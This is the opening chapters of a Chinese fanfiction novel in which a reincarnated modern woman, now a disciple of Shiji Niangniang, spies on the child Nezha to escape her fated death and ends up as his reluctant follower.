《[哪吒]被一根藕死缠烂打后》
1. 穿越
阴冷潮湿的洞穴里,水珠自钟乳石尖滴落,发出清晰的滴答声。
“你快点,还有半个月娘娘就要出关了。”一个梳着双髻的少女对另一个同样装扮的女孩指手画脚道,“这些骷髅连一半都没装饰完,哼,你就等着娘娘发脾气吧。”
另一个女孩闻言微怔片刻,嘟嘟囔囔地说了些什么,转头继续往骷髅里插花。
这个女孩姓姜名桃,实际年龄已经25岁了,更重要的是,在一个月之前,她还是个现代人。
姜桃以前跟着网络博主学过简单的插花技巧,因此将花朵搭配得十分漂亮,马卡龙色系,莫兰迪色系,还有红黄蓝紫撞色混搭,令人眼前一亮,耳目一新。
但这并不是她被颐指气使分配更多工作的主要原因。
“碧云,我再去外面采些花来,你要好好干活哦。”身材窈窕的师姐彩云伸了个懒腰,舔着爪子吩咐道,一只毛茸茸的尾巴从后面支棱出来,透气似的。
“哦。”姜桃闷头应了一声,扭头看过去时,师姐的身影已然消失。
轻捷得就像一只猫。
而她也的确是一只猫。
姜桃叹了口气,蹦到一块石头上盘腿坐下来,撑着腮帮子看手里五颜六色的花。
一个月前,她终究还是没能打破25岁魔咒,心脏病发猝死在了家中。
她从小就体弱多病,才二十出头一身的零件就出了不少毛病,心脏病只是其中比较致命的一种,当死亡骤然降临时,她没有感觉很痛苦,只感觉对不起自己的父母。
父母忒乐观,从未放弃过她这个病歪歪的孩子,虽然私底下也会抱头哭泣,但面对她时,从未说过任何抱怨的话语,还经常给她加油打气,鼓励她做任何想做的事情,让她短短的25年人生活得还算超值。
只是没料想,自己死后居然穿越了,穿越到几千年前的殷商时代,穿成了石矶娘娘坐下的碧云童子。
根据从师姐口中套出来的话可知,她这具身体已经二百多岁了,而这就是她的全部修为。
“作为人族,你已经很厉害了。”师姐懒洋洋趴在石头上,甩着尾巴说道,“快去给我烧一桶热水,我要洗澡。对了,后山吊桥中央有一块板子松动了,你可别掉下去摔死了。”
就如师姐所说,她作为一个修行二百多年的人族,能达到延年益寿、永葆青春已经是极大的修为了,至于法术仙术之类的,她没有,甚至身体也比普通人类强不了多少,掉下石桥还是会脆弱地死掉。
不过这对姜桃而言已经足够了,好歹有个健康的身体,还能长命百岁地活着。如果她跟着石矶好好修炼,再活个几百年应该不成问题。
她只想健康地活着,其他都不重要。
她对石矶娘娘的印象还停留在《哪吒传奇》,再不就是某位狂热的吸猫分子,可动画片里没有演过娘娘还有两位童子,所以她对自己目前的处境有些迷茫,再加上她一穿越过来就赶上娘娘闭关,唯一能打交道的只有师姐兼猫妖,彩云童子。
师姐老是欺负她,还趁着师父不在,时不时就变出耳朵和尾巴,姜桃被欺负心里自然是不乐意的,但转头一看见毛茸茸的猫头和晃来晃去的大尾巴,也就没啥脾气了。
人类在面对喵星人时,经常会一败涂地。
她在石头上坐了一会儿,又跳下来,继续往各式各样的骷髅头里插花。
师父爱好骷髅,洞里到处装饰着骷髅,她们所居住的山也叫做骷髅山,而她们的洞叫做白骨洞。
真是个不祥的名字,总感觉下一秒就会有只猴子闯进来大杀四方。
作为前人类,姜桃对骷髅自然有些发怵,但她适应性极好,看久了竟能看出一些可爱来,而这些骷髅不仅有人类,还有妖族、鸟兽,主打一个全面开花,谁也不放过。
所以石矶娘娘,到底是个什么样的人呢?
她时常会泛起好奇,在脑海里使劲搜寻一番,得到的信息只有“千年石头成精”,“哪吒传奇里的反派boss”,以及“最后死于太乙真人之手“等片段。
正想着,彩云捧着一大簇花蹦跳进来,头上也插满了花,满身尘土,一看便知采花只是顺手,在草地上撒欢打滚才是重点。
姜桃乖巧地接过花,挤出一丝讨好的笑:“师姐辛苦了,先去歇一会儿吧。”
彩云傲娇地点了一下头,对她的懂事很是满意,三步两步蹦上石床。
“对了,师姐,咱们师父到底有多厉害呀,你再给我讲讲她的事迹呗。”姜桃嗓音甜甜地问道,语气有点像逗猫。
一听这个,彩云来了劲儿,嗖地又坐起来,挺着胸脯自豪道:
“你们人类真是健忘,咱们师父可是截教掌门通天教主的徒弟,诞生于玄黄之外,是有万年灵胎的妖道,只差一点就修成正果了!”
姜桃一脸震惊,通、通天教主,元始天尊的师弟通天教主?
她小学的时候读过《封神演义》,但随着时间流逝,看过的书越来越多,都读杂了,对其印象只剩下纣王与妲己的爱情,武王伐纣的历史故事,以及一些五花缭乱的法宝与斗法,其余的一概忘差不多了。
早知道会穿越到这里,就不该把心思都放在《哈利波特》上了,与其琢磨“阿瓦达啃大瓜”和“石化咒+粉身碎骨”哪个杀伤力更强,不如多钻研钻研老祖宗的神话技能,至少不至于完全一头雾水。
甚至她连希腊神话和希伯来神话都了解的比中华神话多——她懊恼地捶了一下石头,为自己蹉跎了时光感到后悔。
但重获新生的喜悦,足以打破任何遗憾与小困难,很快她就不想了,插完花,见师姐呼噜呼噜睡得正酣,便提着小篮子,去外面呼吸新鲜空气。
到底是修行之人,身体轻盈且不易劳累,从山这头绕动那头一点都不觉得累,还能健步如飞,沿途遇到几只修炼出一半人形的小兽,驻足看了一会儿,被逗得咯咯直笑。
这里是石矶娘娘的道场,石矶娘娘是妖怪得道,其师门截教也主张“有教无类”,因此很多有些修为的动物就跑到这骷髅山里修行,比在其他地方自在。
敢情这山里,就只有她一个人类嘛,姜桃想,不明白师父为何要收她这个人类做徒弟。
莫非是为了弘扬“有教无类”的宗旨,便连人与妖一并收了?
她来到小河边,舀了点水,架起炉子烧着喝。虽然不再怕大肠杆菌,但她还是习惯喝热水,顺便往炉子里扔点花花草草,来一碗香气四溢的花草茶。
哎,还是这种生活自在,闲云野鹤,惬意自由,比在现代社会卷生卷死强多了。
一位戴着斗笠、道士打扮的高个子男人出现在河边,蹲下来用双手舀了几口水喝,然后起身走向她,很有礼貌地行了一礼。
“不知仙姑炉中煮的是什么茶,闻起来很是与众不同。”他问道,喉结不易察觉地滚了滚。
姜桃见他道袍上
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还有补丁,忙掀起炉盖,给他倒了一碗递过去:“是花草茶,里面有桃花、铃兰还有鼠尾草,混在一起特别好喝,你尝尝吧。”
道士看着既年轻又老,有种形容不出的感觉,但还挺面善,而且好像饿了许久,面带局促犹豫了一会儿,便拘谨地接过茶碗,连声道谢。
他应该是人类,要不就是修行极高以至于气息全无的妖,后者就冲他这一身破烂衣服也不太可能,所以姜桃觉得他和自己一样,是人族。
好不容易见到个同类,她心里高兴,又掏出随身携带的馒头,分一个给他。
两人边吃边聊,她得知男人是奉师名下山完成一项重要任务,然而出师未捷就遇到了人生中最重要的难题——吃不饱肚子。
“你不是修道之人嘛,帮人家驱驱邪、除除妖,赚点零花钱总是可以的。”姜桃瞅了瞅他还算强健的体魄,建议道。
“那怎么行,我以后可是要干大事的,怎么能让这些小事消磨心智。”男子板起脸来,正色道。
呃……
姜桃不知该说什么好了,果然古人的脑回路与现代人不一样。
天色渐晚,男子起身告辞,姜桃又送了一张豆沙饼给他,他犹犹豫豫接下来,狭长的黑眼睛望了姜桃一阵。
“多谢仙姑好意,贫道暂且无以为报,但有一言可赠与仙姑。”
诶?
姜桃不解,男子又道:“两年后的今日,请仙姑务必远离此山。告辞。”
不等姜桃追问,他就大步流星离开,一阵山雾弥漫过来,完全挡住他的身影。
姜桃呆呆站在原地,盯着越发浓郁的雾气,不明所以。
等回到白骨洞时,彩云已经醒了,正对着晚霞欣赏自己的锋利爪子。
“真美。”她故意凑到姜桃身边炫耀道,姜桃秉着逗猫的心情热诚地点点头,笑容如花附和道,“是啊,真漂亮,师姐最漂亮了。”
其实她有点搞不懂妖族,那么努力想要化成人形,却又不大瞧得起人类,觉得他们脆弱又狡诈,这种矛盾心理时常令她疑惑。
而且同样是修炼,妖怪修成正果的概率比人低得多,属于是上限高但下限低,人类则正相反,悟性一旦上去,便一发不可收拾,这是她这段时间从各路小妖怪口中探听到的事实。
虽然他们也不想承认这一点。
晚上,躺在床上,她还在琢磨下午那道士的话,总觉得是句善意的警告,可听着没头没尾的,让她摸不到头脑。
想不明白索性就不想了,她翻个身,很快进入了睡眠。
她做了一个梦,梦见自己快快乐乐地提着篮子去采花,却被一只破空而来的箭刺穿喉咙,血流如注。
梦境里还回荡着一个男孩欢快而肆意的笑声,听得她肝胆俱寒。
她被吓醒了,连滚带爬摸下床,连喝了两壶水压惊。
她抹着额头上的汗,惊魂未定中忽然想起,自己曾在某个时候听过一个解说,说石矶娘娘不是反派boss,而是一个徒弟被箭莫名射死,站出来寻求正义的修道之人。
而那个被射死的徒弟,不是姜桃自己,就是彩云。
可今天被那道士警告的,是她。
她顿时冷汗直流,一个不祥的名字在脑中放大加粗显现出来。
哪吒。
那支该死的箭,就是他射出来的。
沉淀在犄角旮旯的记忆被激活,她一下子都想起来了。
2. 哪吒
翌日天刚蒙蒙亮,姜桃就找了个由头,迫不及待骑着毛驴下山了。
来到山下村庄一打听,才知陈塘关远在千里之外,也就是说两年后哪吒的箭相当于从天津射到山东,又不偏不倚射中了她。
这是多么操蛋的概率,哪怕就偏那么一点,她都能捡回一条命。
她不得不怀疑,是不是她命里就有这么一劫,怎么逃也逃不开……
不行不行,她可是现代人,即便穿越到了封神时代,也要坚守唯物主义价值观,不可以什么都唯宿命论。
她在村里的集市买了早点,坐在路边愁眉苦脸地吃着,小毛驴拿尾巴在她肩膀上甩了甩,一双任劳任怨的大眼睛里闪过对食物的渴望。
姜桃掰下一半馒头,刚送到它嘴边才意识到驴是吃草料的,于是匆匆咽下食物,牵它来到卖草料的地方,让它让吃了个够。
这条毛驴看似平平无奇,实则可以腾云驾雾,但要在它心情好的时候,而且实力忽高忽低。
平时都是姜桃给它喂食,所以它吃得心安理得,尾巴愉快地晃来晃去。
姜桃看着它发了会儿呆,然后做出一个大胆的决定。
她要去陈塘关李府,看一看哪吒到底是个什么样的孩子。
也许他真的像《哪吒传奇》里那么可爱、那么正义、那么爱护百姓也说不定,这样的话,自己只要将一切与他和盘托出,他应该就不会射出那枚箭。
她努力往积极方面向,又讨好地给小毛驴添了一份草料。
一柱香的时间后,她已经飞在了通往陈塘关的天路上。
周围云朵绵绵,从她身边涌过,但她没心情欣赏,只八爪鱼似的紧紧抱着驴背,生怕自己从高空坠落,摔成一滩肉泥。
只飞了不到一个时辰,就到陈塘关了,比坐飞机还快。
她在城外降落,整理了下衣冠,牵着毛驴装作入城赶集的样子。
陈塘关可比骷髅山下的那几个村庄繁荣多了,房屋建筑都很气派,属于现代人看见都忍不住赞叹的类型。可能是因为临海,到处都有卖鱼卖海鲜的,姜桃想起了老家的铁板鱿鱼,吞了吞口水,最后没忍住排在几个小朋友身后买了串糖葫芦解馋。
“请问,总兵府怎么走啊?”排队的时候,她装作若无其事地问卖糖葫芦的大爷。
然而大爷的反应却十分激烈,胡子一吹使劲瞪她半晌,反问道:“你去总兵府作甚?”
“我、我家兄长在总兵府当杂役,我想去看看他。”姜桃说出事先编好的理由,因为不擅长撒谎,磕巴了一下。
“哦。”老大爷朝西南方向指了指,“沿街一直走,走到集市尽头向左拐,再一直走便是了。”
姜桃有礼貌地谢过大爷,刚转过半个身子,大爷又小声补充道:“姑娘,你可要小心啊,李府……有点危险。”
一听这话,姜桃心先凉了半截。
李靖在各种版本里虽然性格差别很大,但都还算是个好官,受百姓信任爱戴,殷夫人存在感极低,大概是个慈母,那么危险来自何方就不言而喻了。
完了,等待她的多半不是“我们的英雄小哪吒”……
“老先生,此话怎讲?”她急忙追问道,从钱包里扒拉出一枚铜钱,打算再买串山楂讨好一下。
然而老先生不肯再说了,姜桃也不勉强,悻悻地牵着毛驴离开,按老人说的方向慢吞吞地走。
完了,万一是个混世小魔王可怎么办?到时候,怕是听完她的请求,他当场就能拉弓把她射死——
她脑中闪过无数个性格恶劣的孩童的形象,从孤儿怨到坏种,再到夜访吸血鬼里的小女孩,忍不住打了个冷颤。
要不,还是先回去吧——
可来都来了,她咬咬牙,还是决定先亲眼看看。
总兵府很好辨认,占地面积最大、房屋最规整巍峨,四周还绿树掩映,远远就能一眼辨出来。
门口坐着两只硕大的石狮子,没有守卫,姜桃观察了一番地形,最后选择爬上斜对着大门的一棵老槐树。
她从一只鸟窝后伸出乱蓬蓬的脑袋,成功让窝里母鸟炸了毛,探出尖尖的鸟喙啄她。
姜桃连忙变了两个小戏法,母鸟被吸引,止住攻击,脑袋一歪一歪地看着,最后她变出几只毛毛虫,倒进鸟窝里,完成了化敌为友的最后一步。
危机解决,她把身子往上拔了拔,抻长脖子向庭院里张望。
哇,李府可真大,比从外面看还壮观,简直就是个小型宫殿,有仆役和丫鬟进进出出,洒扫庭院或是往主屋送水果糕点。地面石砖上铺满落叶,一个小斯正挥着扫帚打扫,将落叶归拢到竹筐里。
一个身量高大、三十出头的男子从主屋走出来,他健硕魁梧,走路带风,表情严肃而古板,不用猜都知道是李靖。
他比姜桃想象中年轻不少,也好看许多,只是眉宇一直蹙着,凭空老了好几岁。
两个侍卫快步上来,给他穿上铠甲,另有一管家模样的中年人牵来一匹马。
李靖并未立刻上马,而是扭头朝院子一角看了看,发出一声叹息。
“那个街头卖艺的没再上门闹吧?”他对管家问道,语气里全是疲惫。
“没有,老爷。咱们赔给他的钱,够他再买两只狗的了。”管家恭敬回答道,“说到底就是想要钱,您就别再责罚小少爷了。”
“不行,今日他能捏死人家的狗,明日就能杀人。他才只有五岁,以后可如何得了?”李靖本来绷着脸,闻言气得胡子飞起来,在姜桃这个角度看去,有点滑稽。
可随风灌进她耳朵里的话,却让她心肝猛地颤了两颤。
捏死,狗——
这么凶残的吗?
作为爱狗人士的姜桃,手心瞬间出了一层冷汗,差点从树上滑下去。
“可是少爷坚持说,那狗不是他踩死的。”管家小声道,眼睛滴溜溜地观察着主人神色。
“他一个孩子,谁无缘无故弄死一只狗嫁祸他?”李靖胡子又一次飞高高,面颊涨得通红,再次凶狠地朝院角瞪了一眼。
那儿有一间相对破旧矮房,似乎没有窗户,像个牢房。
“哎,当初少爷出生的时候是个肉团子,用剑劈开才变成孩子模样,这事老奴严格勒令不许说出去,可不知道怎么还是走了风声,导致陈塘关的百姓都对他十分忌惮,都这么大
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了连一个朋友都没有,也是可怜。”
李靖神色微动,用力攥了一下拳头,半晌才无奈地喟叹一声,嘶哑道:“罢了,再过一刻就放他出来吧。记住,绝对不许他再偷偷溜出去。”
“是,是。”
李靖飞身上马,很快离开了。他一走,一位容貌端庄,身材纤瘦的妇人就跑出来,眼眶通红地抢过管家手中钥匙,直奔小矮房而去,哆哆嗦嗦打开房门。
“吒儿,吒儿,快出来吃点东西吧。”妇人心疼地唤道,却仅是止步于门口。
“我不出来。”一道清冷高亢却又稚嫩的声音自房屋深处传来,“那狗不是我踩死的,我不出来。”
“吒儿——”妇人倚在门框上,身影我见犹怜,她又央求了一遍,然而儿子还是不肯出来。
她深知他脾性,也就没再继续央求,有点落寞地转过身走到院子中间。
“我把吃的放在院子里了,你……多少吃点吧。”妇人——殷夫人回身说道,随着她声音落地,几个丫鬟捧着丰盛的早餐鱼贯而来,一盘盘放在院中央的石桌上。
最后叹息一声,殷夫人与管家一道离开,小茅房的门半敞开着。
姜桃本凉了半截的心,又凉了二分之一。
姑且不论他捏没捏死狗,就看殷夫人的熟练程度,就知道他没少被关小黑屋。一次是误会,但不会次次都是误会,他好歹也是陈塘关总兵府上的三少爷,普通老百姓哪敢三天两头去构陷他啊。
身前的鸟妈妈鸟宝宝们吃完了虫子,又开始啄她的手指头,邦邦邦,邦邦邦,就如姜桃此刻的心跳。
果然还是魔王级别的恶童,自己真是好生倒霉——
如此想着,她心里升起许多害怕,只想赶紧从这里逃开,突然房门嘎吱响了一下,她倏地一抬头,就看见一道稚嫩的身影沐浴在暖金色阳光中,一步步朝院中走去。
姜桃一瞬间忘记了害怕,眼睛直直地落在他身上。
外形确实是五六岁孩童模样,一左一右扎着两个丸子状小揪揪,皮肤很白,更衬得发丝如鸦羽般漆黑,只是他身上有种很强势很凌厉的气息,正是这气息让他看上去既年幼又老成,而这一切都是姜桃还未看清他面孔时,就直接感受到的。
姜桃微微有些诧异,她看过柯南,知道一个身材小小却气场斐然的人是什么样子,但哪吒给她的感觉却完全相反,以至于她还没看见他正脸,就莫名地心生畏惧。
她忍住慌乱,又朝院里瞥了一眼,却见少年一动不动伫立在石桌旁,望着那些食物,良久未动。
忽然,他朝她的方向猛一转头,一道黑沉如电的目光扫射而来,吓得姜桃嗖地把脑袋缩进茂盛树冠中,身体止不住打颤。
完了,是不是被看见了?
“啾啾,啾啾——”小鸟们被她的突然动作惊到了,扑棱起翅膀,姜桃缩头缩脑躲在树叶之间,进退两难。
就这么过了足足十几分钟,她才敢颤颤巍巍探出插满树叶的脑袋瓜。
小哪吒已经不在院子里了,也不在她视野内的任何地方,姜桃抹了把头上的汗,笨拙地滑下树干,牵起在一旁啃草啃得正香的小毛驴,落荒而逃。
3. 火尖枪
在集市吃了一碗馄饨后,姜桃还是决定回去再探查探查。
小毛驴不是每天都能发挥得这么优秀,师姐也不可能放任她天天往外溜,既然都来了,索性就一次观察到底吧。
方才哪吒未必是看到她了,作为修仙之人,她别的不会,隐藏气息倒是很溜,何况她是人类,就算被感知到了,也只当是谁家的淘气孩子上树玩。
其实最初穿越过来,发觉自己是人类时,她是有点小失望的。为什么不是妖怪呢,在她印象中妖怪特厉害,但随着时间流逝,她发现人类还是有很多便利之处的。
比如在村庄里不需掩饰地横着走,师姐曾说过,她们妖族光是维持人形就耗费不少功力,所以在师父看不见的时候,她经常半退化成猫的形态,以减少功力消耗造成的疲惫。
也就是说,同样达到一定的水准,师姐所付出的要比她多很多,但同样,师姐也比她抗造,一般飞檐走壁采摘花朵这种事,都由她来做。
再比如,此时此刻。
就算被抓包,她也可以说自己是上树偷鸟蛋,如此自我安慰一番后,她鼓起勇气,牵着小毛驴重新返回李府,鬼鬼祟祟攀上那颗老槐树。
小鸟正在午睡,鸟妈妈把翅膀摊开将宝宝们护住,听闻身后动静,只微扇了一下翅膀,都懒得回头再瞅。
于是姜桃得以安心地继续偷窥。
院子里很安静,像是也在午睡,过于绚烂的阳光烤着地面,看得姜桃也有点犯困了。
她打了个哈欠,气还没完全送出来,就听见一阵惨烈的鸡叫声。
一群黄嘟嘟的小鸡仔从后院狂奔而来,拼命倒腾着两条小短腿,扑腾着尚不能飞起来一丁点的翅膀,像是被恶狼追赶一般四处奔逃。
霎时间院内灰尘四起,“嘎嘎嘎”的尖叫声此起彼伏。
姜桃目瞪口呆地看着,不知道发生了什么事。她还是第一次看见字面意义上的鸡飞狗跳,脑子短暂宕机了一瞬,直到一抹红色闯入她视野边缘。
追在小鸡仔身后的不是恶狼,而是李府三少爷,李哪吒小朋友。
他与清晨时判若两人,不一会儿就逮着了一只落后的小鸡,两根手指夹着脖子提拎起来,提到眼前位置,歪头看了好一会儿。
“活该,谁叫你跑的慢呢。”他的声音好听极了,平静中还透着点甜美,但在此情此景下,莫名瘆人。
小鸡发出凄厉的叫声,简直都不像是鸡了,两只小爪子在他手臂上毫无章法地拼命抓挠,眼见着抓出道道红痕。他却像感觉不到痛似的,一点都没松手。
姜桃看得脖子一阵生疼,仿佛被抓住的是她自己。
就当她以为哪吒要对小鸡做出令人发指的行径时,他却倏地一松手,小鸡落在地上,脚翅并用地奔逃,摇摇晃晃的样子既可笑又可怜。
这、这到底是什么级别的恶童,姜桃心彻底凉了,真心觉得自己未来怕是难逃一死了。
忽然她想明白了,第一次见面时那种奇怪的违和感从何而来。
如果说柯南是个健全的大人缩在小孩子的躯壳里,那么哪吒就是一个小孩子缩在小孩子的躯壳里,但气场又全然不是孩子的,锋利又蛮横,肆意地释放着,彰显着,还带点不谙世事的残忍,这二者形成强烈冲突,使得他既能用深邃如刀的眼神剜她,又能追着小鸡小鸭满院跑,还光着两只小脚丫。
姜桃把脸埋进胳膊里,完全不知道该如何是好。
再抬头时,小鸡小鸭已经逃光了,始作俑者没有去追,而是兴致缺缺地盘腿坐在石凳上,嘴里咬着一根草叶,单手托腮望着院墙角落发呆。
午后炽热的阳光流淌在他身上,给他的侧影勾出一道金边,姜桃微微眯起眼睛,能看见他胳膊上被小鸡抓挠过的地方,泛出缕缕红色血丝,可他理都没理,兀自发着呆。
不愧是敢一片一片把自己活着凌迟的人,姜桃越发感到心惊肉跳,拿不定主意是继续偷窥,还是刺溜下去再度逃遁。
忽然,哪吒一跃而起,红色的衣裳与乌黑的头发在她视线中猛然一晃,只见他冲进后院,不一会儿又兴奋地冲了出来,手里多了一根火尖枪。
糟糕——
就在姜桃以为自己被发现了,吓得脚底一滑之时,哪吒唰地打了个立正,像是面前站着某位看不见的观赏者,然后开始煞有介事地挥舞起火尖枪。
舞得虎虎生风,优美而充满力量感,姜桃看呆了,胳膊勾在树冠上,气都忘了喘。
金色阳光汇聚在枪尖,随着他身体的舞动,如金龙般丝滑游动,枪尖所过之处,响起飒飒风声,忽地,他的动作带上了杀气,寒冽得宛如刮过冰川雪原的风,将每一寸空气都染上战栗。
虽然隔得蛮远,姜桃还是忍不住打了个哆嗦,突然,她意识到不对劲,再度定睛使劲看过去。
他是不是……长高了一丢丢?
头发好像也比早上看见时长了一点……
不只是头发,胳膊也长了,甚至身形也不那么圆滚滚,开始出现抽条的迹象——
她用力揉了把眼睛,再看之时他已经停下动作,愉快地跳上石桌,叉着腰好不得意。
只是除了她这个偷窥者,没人目击到他的英姿飒爽,也不知道他在得意什么——
不不不,这都不是重点。
重点是,这孩子好像长得过于飞快了。
姜桃想起昨晚的梦,一个红衣少年拉弓远射,接着自己便被刺穿喉咙惨死,那少年身材纤细高挑,看着至少十六七岁模样,可哪吒如今只有五岁,两年后也才七岁,怎么可能长成她梦里的模样呢?
除非,他是按天长的——
这个猜测吓得姜桃肝疼,她掰着手指头算了算,越算肝越疼,最后哆哆嗦嗦滑下树干,抱着小毛驴呜呜哽咽两声。
小毛驴愉快地晃着尾巴,掷下两块驴粪蛋。
回到骷髅山,师姐不出意外发了脾气,叉着腰质问她去哪了,姜桃耷拉着眼皮,说去寻找传说中的梦幻花了,没找到,还累得半死,但明天还想去找。
妖怪其实很好骗,她编了一通谎,说那梦幻花有多美多惊艳,娘娘看见一定会非常高兴,师姐竟相信了,允许她再去找几天。
晚上躺在被窝里,她睡不着,翻来覆去想着哪吒,突然她惊坐起来。
万一哪吒没有像自己慌乱中猜测的那样高速成长,是不是就说明那道士的预言和自己梦中情景相悖,二者出现了矛盾,而这个矛盾足以推翻整个事件——即她并没有死于哪吒箭
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下。
她是穿越到了玄幻的封神时代,可谁说《封神演义》就是准的呢,就是她此刻必须遵循的命运呢?
这个想法给了她一线希望,她重新钻回被窝,决定明天继续观望。
而后第三天,第四天,她都以梦幻花为借口,溜出骷髅山,在毛驴背上一阵颠簸,最后轻车熟路地爬上李府门口的槐树。
哪吒每天都会出现在院子里,而且正好都在她笨手笨脚爬上树冠不久。她掏出一张绢布,用歪歪扭扭的字迹记下对哪吒的观察:
某月某日,哪吒好像没什么变化,果然那天是我的错觉。今天哪吒没祸害小鸡小鸭,也没舞枪弄棒,他居然在背书,远远地能看见殷夫人激动地掩鼻而哭。
某月某日,哪吒今天依然鼻嘎大小,背着手在院落中昂首阔步,神气十足,他换了新衣服,还是红色的,脖子上第一次挂上乾坤圈——是乾坤圈吧?
某月某日,金吒木吒回来探亲了,还带了伴手礼。李靖似乎对这两个儿子更满意,不断地捋着胡须,眼角眉梢全是慈祥笑意。不到傍晚,他们便拱手告辞了。哦,对了,哪吒要了两份伴手礼,还挺能吃。
第五日,姜桃照例爬上树,做最后一次观察。
师父很快就要出关了,师姐也渐渐生出怀疑,毕竟她根本就拿不出什么梦幻花,她只有这一天可以挥霍了。
通过这几日观察,她确定哪吒大体还是按照正常孩童速度生长的,就是头发长得过快,让她产生了错觉。
今天,李靖和殷夫人先后出了门。李靖是去军营上班,殷夫人则挎着一只篮子,去集市上采购布料与丝线。
因此院子里只有哪吒一人,他又开始舞枪了,摆好姿势刚刚起势,姜桃肚子忽然咕咕叫起来,这才想起早上还没吃饭。
她揉揉肚子,打算先去买点早点吃。
正当她低下头准备往下刺溜的时候,耳边骤然闪过一道风声,接着就感觉头皮一紧,仿若被一股巨力猛地向后薅去。
她惊恐地抬起眼珠向上看,看见那根火尖枪正悬停在她头顶上,枪尖已然没入她右侧的丸子状小揪揪里,枪杆还余劲未消地振颤着,发出嗡嗡的回声。
完了,这回是真的被发现了——
她刚想发出尖叫,那抹熟悉的红就从院墙对面升了起来,脚底下踩着两只熊熊燃烧的风火轮。
火焰炙热,周围空气都被烤得扭曲变形。
哪吒抱着手臂,板着小脸,肆意散发着慑人的强大气场,居高临下睨着她。
眼神可怕极了,让姜桃一下子想到那只被拎着脖子晃悠的可怜小鸡。
呜呜呜,果然不是小英雄哪吒,而是小魔头哪吒——
姜桃嘴巴变成了颤颤巍巍的波浪状,眼睛也变成了两只荷包蛋,惶恐而可怜兮兮地仰望着他。
原来,他能出来啊——
“喂,你天天躲在我家偷窥,想要做什么?”嚣张又冷酷的声音,全然不像小孩子。
只是那张面容,着实美丽,玉莲一般纯净清透,却又带着股美到极致的妖娆。
有那么一瞬间,姜桃忘了害怕,看得呆住了。
她实在不理解为何会在一个孩子身上,感受到这种极端的反差与冲击。
4. 玩具
“喂,我问你话呢。”见她一脸呆傻,半天没有回应,哪吒伸手握住枪把,使劲又戳了戳她的小揪揪。
头皮被扯得有些痛,姜桃从美色中回过神来,连忙抱住脑袋,护住自己的头发。
看来不给个说法是不行了。
逃她肯定是逃不过他,搞不好还会挨顿胖揍。为了避免在预言实现前提前殒命,她秒认怂,扑通跪在树干上,仰着脑袋眼泪汪汪巴结道:
“小、小女子久仰三公子大名,崇拜不已,所以才忍不住频频过来瞻仰……”
通过刚才的质问,姜桃认为他早就知晓自己的存在了,很可能就在第一天,就在那凌厉的一瞥间,可为何现在才发难呢?
以他的脾气,难道不该在初次察觉时,就把她打个半身不遂吗?
姜桃想不明白,但有一件事她无比确定,那就是她现在必须伏低做小,尽最大所能讨好他、巴结他,让他先放自己走。
留得青山在,不怕没柴烧。
“你……崇拜我?”
哪吒脸上浮现诧异的、难以置信的神色,但稍纵即逝,很快他就又恢复了那副生人勿近的桀骜模样,不过火尖枪的力道微微松了些,姜桃感觉头皮没那么紧绷了。
“嗯,嗯,嗯。”姜桃小鸡啄米般使劲点头,努力让自己的表情看上去特别真诚。
哪吒直勾勾地垂眸望着她,半天没再开口。姜桃被他锋锐而漠然的目光唬得心跳加快,嗖地垂下了脑袋,心想这下糟了,巴结也不好使示弱也不行,那她是不是应该趁此机会转身跳下去,头也不回地撒腿狂奔?
“你……不怕我?”
过了好半天,终于等来了哪吒大人张开尊口,语气竟带着点犹疑与不确信,鸦羽般乌黑的眼珠逆着阳光向下睥睨,将姜桃浑身上下打量个遍。
姜桃顿时有种被X光热烈扫过的感觉,忍不住缩了一下脖子,像只落入捕兽夹的小兽,颤颤巍巍又可可怜怜。
X光还在继续扫射,但好像柔和了点,只是头顶上的久久沉默,让她忐忑不已,几乎就要跪不住了。
她哆哆嗦嗦重新抬起头,却见这位赫赫大名的玉面杀神,忽地扬起一抹单纯又带点邪魅的笑容,抱着手臂翘着鼻子道:“那好,从今天开始,你就可以光明正大跟在本少爷身后了。”
诶,事情的走向好像有点不对劲,她只是想逃走而已——
姜桃呆呆眨了眨眼睛,她的眼仁乌黑莹润,像只梅花鹿,在毛绒绒的睫毛下忽闪忽闪,看得人心里也湿漉漉的。
“没听见本少爷的话么,从今天开始,你就是本少爷的小跟班了。起来,到院子来,本少爷教你如何做一个合格的跟班。”哪吒昂起下巴,命令似的道,眼里微光闪烁,情绪莫辨。
不去不去,谁知道进去了还能不能出来了——
姜桃在心里把头摇成了拨浪鼓,开始飞快盘算成功逃走的概率有多大。
无限趋近于零,这是她瞬间就得出来的结论。
呜呜呜,她心里泪流成河,忽然她发现,他虽然踩在风火轮上,但始终停在院墙另一侧,攻击她用的也只是火尖枪的枪尖,就好像他无法越过墙壁上方一样。
一个猜测浮现脑海:哪吒这些天肯乖乖呆在府里,莫非是因为他根本就出不去?
比如墙壁四周有结界之类的。
那要不要赌一把?
“那个,三、三公子,能不能先把枪拔出去,头发快薅掉了——”她弱弱地请求道,眼睛依旧无辜地忽闪忽闪,但脚下却在偷偷运力。
只要他把枪尖收回去,她就牟足了劲狂奔,虽然功力有限,但一口气跑到人多的地方还是可以的,只是这一切都得在他确实出不来的前提下。
万一自己猜错了,她打了个哆嗦,努力不去想可能的后果。
然而,三太子只是从鼻孔里喷出一声轻轻的“哼”,并没有高抬贵手抽出火尖枪,而是轻巧地将它向上一挑,下一秒,姜桃整个人就跟钓竿上的鱼一样,被提拎着甩到了院子里。
火尖枪这才收回,哐当一声,姜桃屁股着地,掉在地上。
这一套动作都发生在电光火石的一瞬间,她思维还没完全跟上,人就已经揉着屁股摇摇晃晃从地上爬起来了。
完了,掉进魔窟了,这下可怎么办?
“你,会耍枪吗?”哪吒轻盈落地,风火轮犹如溶于空气般瞬间消失。
姜桃讷讷摇头,抬手摸了摸那只饱受摧残的小丸子。
“那舞刀呢?”
还是摇头。
“你怎么什么都不会?”哪吒下巴扬得高高的,嗓音倨傲,“好笨啊。”
姜桃讪讪地不吭声,虽说对面是大名鼎鼎的三坛海会大神,但被说笨还是很伤自尊的。
见她神色骤然失落,哪吒略显刻意地咳了两声,指着内院一座屋舍转移话题道:“走,去我房间。”
啊?
姜桃以为自己听错了,结果一抬眼就触到了哪吒不容反驳的眼神,她又怂了,勾着脖子点点头。
他不会是想在房间里把她给拨皮抽筋吧?
她跟在他身后,想法越来越偏激。
早知道就不来招惹这个小魔头了,她绝望地想,不小心被石头绊了个趔趄,
身体直直地朝哪吒栽去。
小魔头身手伶俐,唰地一闪身,她的脑门就光荣地磕在了前方柱子上,疼她呲牙咧嘴。
“你真的好——”下一个字似乎是“笨”,但他戛然而止,绷起小脸,转过身背着手继续往前走。
